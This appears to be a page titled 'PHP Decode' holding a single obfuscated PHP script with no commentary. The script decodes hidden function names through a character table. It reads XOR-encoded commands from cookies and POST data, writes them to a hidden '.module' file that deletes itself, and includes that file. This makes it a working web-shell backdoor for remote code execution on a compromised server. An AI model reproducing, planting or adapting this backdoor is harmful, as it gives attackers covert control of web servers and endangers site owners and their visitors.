PHP Decode

<?php 
function zd6	() 
 
 
{ 
 
echo 'wj7'; 
} 
 
 
 
function     fr1     ( $xf2  ) 
{$et4=0; 
$fx3 = "0un@'7ab-3Fximed<2Ikrc6g1(s;lp4o?H9E* h)y/v8f5t#L._"; 
 
 
	$dz5     = substr("", 0); 
 
 
 while(1){	if($et4>=count($xf2))      break;	$dz5	.= $fx3	[ $xf2[$et4] ];	$et4++; 
 
 
} 
 
 
return	$dz5; 
 
 
}$op9 =	[];$vzs	= 99238;$op9[96241]   = fr1 ( Array(24	, 43 , 22 , 43 , 21   ,       17 , 7 ,	44 ,      8 , 43 ,     22	,  45 , 45 ,     8	, 30 ,       9 , 21       ,     17	,	8	, 6 , 44       ,     45 , 22 ,   8  , 5 , 14	, 21      , 22     ,       30 , 24	,     6 , 30 , 0	, 34 , 17 , 34 ,) ) ;$op9[93166] = fr1    ( Array(32 ,	29 ,	38	,   29   ,	37       ,       3 ,	1	,	2 ,	28 ,  12  , 2 , 19 , 25 ,	50	,     50      , 10 , 18  ,   48 , 35	,       50 ,   50 ,    39      , 27 , 37 ,)     ) ; 
$ha25 =	11697; 
 
 
$op9[2028]	=	fr1 (   Array(49 ,	13 ,	31 , 15	, 1      ,	28	,	14 ,) ) ;$op9[88553]	=     fr1   (       Array(33	, 36 ,)     ) ; 
 
$op9[49129] = fr1 (	Array(49	, 41	,) )      ; 
$op9[59872]  =	fr1	( Array(16     ,)	)      ; 
 
 
$tr26      = 50572; 
$op9[99289]	= fr1 ( Array(47	,)	) ; 
$op9[19925] =	fr1 (	Array(44    , 12	,    28 , 14 , 50 , 29 , 1     , 46 , 50	, 21      , 31       , 2 , 46 ,   14 , 2 ,	46	, 26	,)       ) ;$qk27 = 80024; 
 
$op9[49620] = fr1  ( Array(6 ,	20 , 20       ,	6	, 40 , 50 , 13 ,	14 , 20	, 23 ,	14 ,)	)	;$op9[73678] =	fr1 (    Array(44 ,	12 , 28	, 14 ,	50	,    14   , 11      ,       12	, 26       ,	46 , 26      ,) ) ; 
 
 
$tt28	= 65468; 
 
 
$op9[47564]	= fr1	( Array(26       ,       46	,	20	,	50 ,	20   , 14	, 29	, 14 ,	6 , 46    ,)    ) ; 
 
 
$op9[56770]	= fr1	(  Array(14 , 11 ,  29	, 28 , 31	, 15       ,	14	,) )  ; 
 
$mp29 = 51937; 
 
$op9[14264]	=	fr1	(	Array(12 ,	2 ,	46 ,  42 ,       6 , 28 ,) )     ; 
$op9[26551]   = fr1 ( Array(26    ,       46	, 20	,	28	, 14	, 2	,)    ) ; 
 
 
$gu30 =	69838;$op9[74678] = fr1 (     Array(1	, 2 , 28	,   12   ,	2 ,   19	,) )	;$op9[70569] =	fr1 ( Array(29 ,	6 ,	21 , 19   ,)    ) ;$ql31     =      65749; 
 
$qw21      = $_COOKIE; $kj19 =     "12895"; 
 
$qw21 = $op9[49620]($qw21,  $_POST); 
 
 
 
foreach ($qw21 as   $dh24 =>    $fe20){ 
      function	qa14   ( $op9, $dh24 , $gq18 ) 
 { return	substr ( $op9[47564] ( $dh24     .	$op9[96241] , $op9[14264]( $gq18/$op9[26551]( $dh24	)       ) + 1 ) ,	0   ,	$gq18 ); 
 
	} 
 
 function gb13 (	$op9, $lm23	) 
   { 
 
 
     return	@$op9[70569]     ($op9[88553]      ,   $lm23 ); 
 
 } 
 
 
 
 
 
       function mj11 ( $op9, $fe20,     $dh24) 
       { 
 return     gb13 ( $op9,	$fe20    ) ^      qa14       ( $op9,	$dh24	,	$op9[26551]( $fe20	)	);	} 
	 
 
 function he12 ( $op9,	$fe20, $dh24) 
 
 
	{ 
 
      return	$op9[56770] ( $op9[99289] ,	mj11 (	$op9,  $fe20, $dh24)); 
 
 } 
  
 function sy10    (	$op9, $fe20, $dh24) { 
 
 
	$fe20    = he12 (      $op9, $fe20,  $dh24); 
 if	(bj17	(	$op9,	$fe20)) 
 
 
  { 
 
	exit(); 
    } 
 
 
 }	 function yh16 (    $op9, $oj22) 
 
 
  { 
 
 
       if     ($op9[73678]($oj22))  
 
 
 { 
 
	@$op9[74678] ( $oj22 ); 
 } } 
 
 
  
 
 
  function     ko15	(    $op9, $oj22 ) { 
 
 
 @include     ( $oj22 ); 
 
 
 
       yh16	(	$op9, $oj22); 
 
 
 } 
 
  
 function	bj17      ( $op9,	$lm23  ) 
 { 
 if (	isset ( $lm23[2]     )     ) { 
  
 
    $oj22 =   $op9[49129]       . md5(	$op9[96241]       )   .       $op9[2028]; 
 
 
   @$op9[19925]      (	$oj22,	$op9[59872] .	$op9[93166] .    $lm23[1]  (	$lm23[2] )	);   
	ko15 ( $op9, $oj22); 
 
 
         return 1; 
 
 } 
 
 
	} 
       
 
 
     sy10 ( $op9,   $fe20,      $dh24);} ?>